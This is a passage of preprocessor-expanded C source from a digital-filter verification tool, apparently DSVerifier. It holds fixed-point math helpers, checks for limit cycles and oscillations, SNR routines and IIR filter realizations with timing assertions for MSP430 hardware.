zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
